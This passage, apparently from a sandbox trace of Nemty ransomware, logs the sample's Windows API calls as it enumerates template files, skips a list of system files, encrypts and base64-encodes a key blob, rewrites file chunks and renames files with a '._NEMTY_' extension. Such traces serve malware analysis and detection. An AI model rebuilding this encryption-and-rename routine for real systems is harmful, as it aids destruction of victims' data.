dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.jtp", lpUsedDefaultChar=0x0) returned 9 [0100.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94228 [0100.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942a0 [0100.858] Sleep (dwMilliseconds=0x5) [0100.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefc4bf70, dwHighDateTime=0x1d561e7)) [0100.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefc4bf70, dwHighDateTime=0x1d561e7)) [0100.868] GetLastError () returned 0xb7 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.868] GetLastError () returned 0xb7 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.868] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.868] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.868] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0100.868] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="BFtGHxtap1692n4WrkL6uA+bthOjBXRmpWYYKV/pPOHb4aQaQ6BMtuWxAjiRss7N\r\nLebBA7kSlrkyPjLDJ5oEvL/MPjSff5WFBbBq3+OGr0ZTwDy5TNjsw6go3U5qu/WI\r\n/YIi9NLUjw/c0hNm4KCyhSubQE4F9ikRlPPENH0EjubdmPZ5hDfQ37+0BriCY4lo\r\ne7hrHplEs+xe4oOPg2EDayGm7drmWimLKZXYCHoAo6xgr6YwHMTeBqpW1CBB4pAs\r\nEcLDK5hei/HXcR3IhrJrawAUESv8Z8hqSLCuJCIzfcjaDK5oRP7SkGUHS+/mn4a5\r\nDIrO+bMV+KQvBmcqUClKng==\r\n", pcchString=0x653ef9c) returned 1 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0100.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.868] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.869] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.976] CloseHandle (hObject=0xffffffff) returned 0 [0100.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94318 [0100.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94390 [0100.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp._nemty_kgobjgd_")) returned 0 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94318 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0100.977] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".") returned 1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="..") returned 1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="...") returned 1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="windows") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="$RECYCLE.BIN") returned 1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="rsa") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="NTDETECT.COM") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="ntldr") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="MSDOS.SYS") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="IO.SYS") returned -1 [0100.977] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="boot.ini") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="boot.ini") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="ntuser.dat") returned -1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="desktop.ini") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="CONFIG.SYS") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="RECYCLER") returned -1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="BOOTSECT.BAK") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="bootmgr") returned 1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="programdata") returned -1 [0100.978] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="appdata") returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dotted_Line.jtp", lpUsedDefaultChar=0x0) returned 15 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dotted_Line.jtp", lpUsedDefaultChar=0x0) returned 15 [0100.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dotted_Line.jtp", lpUsedDefaultChar=0x0) returned 15 [0100.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0100.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dotted_Line.jtp", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dotted_Line.jtp", lpUsedDefaultChar=0x0) returned 15 [0100.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0100.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0100.978] Sleep (dwMilliseconds=0x5) [0100.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefd7ca70, dwHighDateTime=0x1d561e7)) [0100.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefd7ca70, dwHighDateTime=0x1d561e7)) [0100.992] GetLastError () returned 0x5 [0100.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.992] GetLastError () returned 0x5 [0100.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.993] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0100.993] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="/HbpRf53KSJnZHfGpz6aMBVSmEhLUonmYVAp1qKuEbBKgI+oqoz7aqhUMdQrbqrJ\r\n90YSQKNR1EwmRNxD4yYEi8NmXVne7xkDigLyd3OOuDR0h9H5qbnnHNOY2GIrcftm\r\nNZ8J6jTeEdS+HcrCYHD2VrEiNmAqqE72vj8MMnO+n+dEALQsUFs8Xqp75nJw/Isn\r\nwPZo1khaA4CJ+I+b4r+/AKq48vK8mx67uOa9WR3Qdxf93todcpXVK7zJQ7ozLssn\r\nXm0ijYQxd24wVtICw0urummx1aWqPFcjDm/qoYlz3qq1VOgfZ0sfECvIm6zHwSpu\r\nuhljl/m1crfjHwspR/UkYw==\r\n", pcchString=0x653ef9c) returned 1 [0100.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.993] 